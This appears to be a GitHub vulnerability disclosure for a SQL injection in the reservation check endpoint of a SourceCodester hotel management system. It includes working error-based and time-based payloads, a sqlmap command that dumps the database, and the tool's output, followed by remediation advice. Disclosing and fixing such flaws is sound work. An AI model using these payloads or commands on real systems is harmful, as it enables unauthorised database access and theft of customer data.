New issue

SourceCodester Hotel Management System /index.php/reservation/check SQL injection #2

Open

wangzhongyang085 opened 3 weeks ago · edited by wangzhongyang085 Edits Owner

SourceCodester Hotel Management System /index.php/reservation/check SQL injection

NAME OF AFFECTED PRODUCT(S)

- Hotel Management System in PHP using CodeIgniter Framework Free Source Code

Vendor Homepage

- homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

- wangzhongyang085

Vulnerable File

- /index.php/reservation/check

Vulnerability location:

- room_type (POST)

VERSION(S)

- V1.0

Software Link

- Download Source Code

PROBLEM TYPE

Vulnerability Type

- SQL injection

Root Cause

- A SQL injection vulnerability was found in the '/index.php/reservation/check' file of the 'Hotel Management System in PHP using CodeIgniter Framework Free Source Code' project. The reason for this issue is that attackers inject malicious code from the parameter 'room_type (POST)' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

- During the security review of "Hotel Management System in PHP using CodeIgniter Framework Free Source Code", wangzhongyang085 discovered a critical SQL injection vulnerability in the "/index.php/reservation/check" file. This vulnerability stems from insufficient user input validation of the 'room_type (POST)' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability type:

- error-based
- time-based blind

Payload:

```
Parameter: room_type (POST)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
(GTID_SUBSET)
    Payload: customer_TCno=62314&room_type=Deluxe'||(SELECT 0x78747952 WHERE 2021=2021 AND
GTID_SUBSET(CONCAT(0x71787a7671,(SELECT
(ELT(5286=5286,1))),0x7171786271),5286))||'&checkin_date=2026-04-20&checkout_date=2026-04-
21
    Vector: AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),
[RANDNUM])

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: customer_TCno=62314&room_type=Deluxe'||(SELECT 0x6764696e WHERE 9079=9079 AND
(SELECT 2429 FROM (SELECT(SLEEP(5)))rovU))||'&checkin_date=2026-04-20&checkout_date=2026-
04-21
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,
[SLEEPTIME])))))[RANDSTR])
```

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
sqlmap -u "http://localhost:8888/ci_hms/index.php/reservation/check" --
data="customer_TCno=62314&room_type=Deluxe&checkin_date=2026-04-20&checkout_date=2026-0
21" -p room_type --dbms=MySQL --batch --level=5 --risk=3 --dbs --tables --dump -v 3
```

```
[15:46:06] [DEBUG] checking for filtered characters
POST parameter 'room_type' is vulnerable. Do you want to keep testing the others
 (if any)? [y/N] N
[15:46:06] [DEBUG] used the default behavior, running in batch mode
sqlmap identified the following injection point(s) with a total of 1593 HTTP(s)
requests:
---
Parameter: room_type (POST)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause (GTID_SUBSET)
    Payload: customer_TCno=62314&room_type=Deluxe'||(SELECT 0x78747952 WHERE 202
1=2021 AND GTID_SUBSET(CONCAT(0x71787a7671,(SELECT (ELT(5286=5286,1))),0x7171786
271),5286))||'&checkin_date=2026-04-20&checkout_date=2026-04-21
    Vector: AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STO
P]'),[RANDNUM])

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: customer_TCno=62314&room_type=Deluxe'||(SELECT 0x6764696e WHERE 907
9=9079 AND (SELECT 2429 FROM (SELECT(SLEEP(5)))rovU))||'&checkin_date=2026-04-20
&checkout_date=2026-04-21
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE]
,0,[SLEEPTIME])))))[RANDSTR])
---
[15:46:06] [DEBUG] performed 9 queries in 0.22 seconds
available databases [8]:
[*] doctor_appointment_db
[*] hms_db
[*] information_schema
[*] mysql
[*] performance_schema
[*] pms_db
[*] school
[*] sys

+----------------------------------------------------+

Database: hms_db
[19 tables]
+----------------------------------------------------+
| customer                                           |
| department                                         |
| do_sport                                           |
| employee                                           |
| get_medicalservice                                 |
| get_roomservice                                    |
| laundry                                            |
| laundry_service                                    |
| massage_room                                       |
| massage_service                                    |
| medical_service                                    |
| reservation                                        |
| restaurant                                         |
| restaurant_booking                                 |
| room                                               |
| room_sales                                         |
| room_service                                       |
| room_type                                          |
| sport_facilities                                   |
+----------------------------------------------------+
```

Suggested repair

1. **Use prepared statements and parameter binding:**

Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

1. **Input validation and filtering:**

Strictly validate and filter user input data to ensure it conforms to the expected format.

1. **Minimize database user permissions:**

Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

1. **Regular security audits:**

Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Sign up for free **to join this conversation on GitHub.** Already have an account? Sign in to comment

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants